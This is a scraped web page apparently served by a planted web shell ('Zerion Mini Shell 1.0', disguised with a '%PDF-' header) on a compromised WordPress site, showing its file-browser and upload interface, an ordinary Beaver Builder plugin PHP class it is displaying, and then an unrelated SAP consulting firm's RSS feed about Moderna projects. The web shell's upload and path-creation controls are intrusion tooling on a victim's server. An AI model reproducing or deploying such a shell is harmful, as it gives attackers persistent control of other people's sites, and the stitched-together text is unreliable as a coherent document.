%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom329039/wp-content/plugins/bb-plugin/classes/
Upload File :
Create Path :
Current File : //dom329039/wp-content/plugins/bb-plugin/classes/class-fl-builder-settings-compat.php

<?php

/**
 * Manages settings compatibility helpers. Those allow us to make
 * changes to node settings without breaking compatibility with
 * existing nodes that have already been saved to the database.
 *
 * @since 2.2
 */
final class FLBuilderSettingsCompat {

	/**
	 * An array of registered compatibility helpers.
	 *
	 * @since 2.2
	 * @var array $helpers
	 */
	static private $helpers = array();

	/**
	 * Initialize.
	 *
	 * @since 2.2
	 * @return void
	 */
	static public function init() {
		require_once FL_BUILDER_DIR . 'classes/class-fl-builder-settings-compat-helper.php';
		require_once FL_BUILDER_DIR . 'classes/class-fl-builder-settings-compat-generic.php';
		require_once FL_BUILDER_DIR . 'classes/class-fl-builder-settings-compat-row.php';
		require_once FL_BUILDER_DIR . 'classes/class-fl-builder-settings-compat-column.php';
		require_once FL_BUILDER_DIR . 'classes/class-fl-builder-settings-compat-module.php';

		self::register_helper( 'generic', 'FLBuilderSettingsCompatGeneric' );
		self::register_helper( 'row', 'FLBuilderSettingsCompatRow' );
		self::register_helper( 'column', 'FLBuilderSettingsCompatColumn' );
		self::register_helper( 'module', 'FLBuilderSettingsCompatModule' );
	}

	/**
	 * Registers a compatibility helper for a node.
	 *
	 * @since 2.2
	 * @param string $type
	 * @param string $class
	 * @return void
	 */
	static public function register_helper( $type, $class ) {
		self::$helpers[ $type ] = new $class;
	}

	/**
	 * Loops through layout data and ensures node settings
	 * are backwards compatible.
	 *
	 * @since 2.2
	 * @param object data
	 * @return object
	 */
	static public function filter_layout_data( $data ) {
		foreach ( $data as $node_id => $node ) {
			if ( isset( $node->settings ) && is_object( $node->settings ) ) {
				$data[ $node_id ]->settings = self::filter_node_settings( $node->type, $node->settings );
			}
		}
		return $data;
	}

	/**
	 * Ensures settings are backwards compatible for a single node.
	 *
	 * @since 2.2
	 * @param string $type
	 * @param object $settings
	 * @return object
	 */
	static public function filter_node_settings( $type, $settings ) {

		// Filter raw module settings without defaults first.
		if ( 'module' === $type && isset( FLBuilderModel::$modules[ $settings->type ] ) ) {
			$module   = FLBuilderModel::$modules[ $settings->type ];
			$settings = $module->filter_raw_settings( $settings );
		}

		// Make sure the defaults are merged.
		$settings = FLBuilderModel::get_node_settings_with_defaults_merged( $type, $settings );

		// Filter with the generic helper for all node types.
		$settings = self::$helpers['generic']->filter_settings( $settings );

		// Filter with a node specific helper if one is available.
		$helper = isset( self::$helpers[ $type ] ) ? self::$helpers[ $type ] : null;

		if ( $helper ) {
			$settings = $helper->filter_settings( $settings );
		}

		// Filter with a module specific helper if one is available.
		if ( 'module' === $type && isset( FLBuilderModel::$modules[ $settings->type ] ) ) {
			$module   = FLBuilderModel::$modules[ $settings->type ];
			$settings = $module->filter_settings( $settings, self::$helpers['module'] );
		}

		return $settings;
	}
}

FLBuilderSettingsCompat::init();

Zerion Mini Shell 1.0
GMH Consulting Group LLC https://gmhconsultinggroup.com/ The global benchmark in the successful delivery of all SAP projects. Mon, 09 Oct 2023 18:12:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.13 https://gmhconsultinggroup.com/wp-content/uploads/2023/01/cropped-New-Project-57-32x32.png GMH Consulting Group LLC https://gmhconsultinggroup.com/ 32 32 Advantages of mRNA Vaccines https://gmhconsultinggroup.com/2022/02/134/ Wed, 02 Feb 2022 04:58:00 +0000 https://gmhconsultinggroup.com/?p=134 Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain

Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>
Digitalization of Vaccines Enabled by S/4 HANA https://gmhconsultinggroup.com/2022/02/132/ Wed, 02 Feb 2022 04:57:00 +0000 https://gmhconsultinggroup.com/?p=132 Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>
SAP Cloud Integration Platform https://gmhconsultinggroup.com/2018/09/browse-projects-accomplished-by-our-consulting-team/ Sat, 29 Sep 2018 04:56:00 +0000 https://gmhconsultinggroup.com/?p=130 Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>

Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>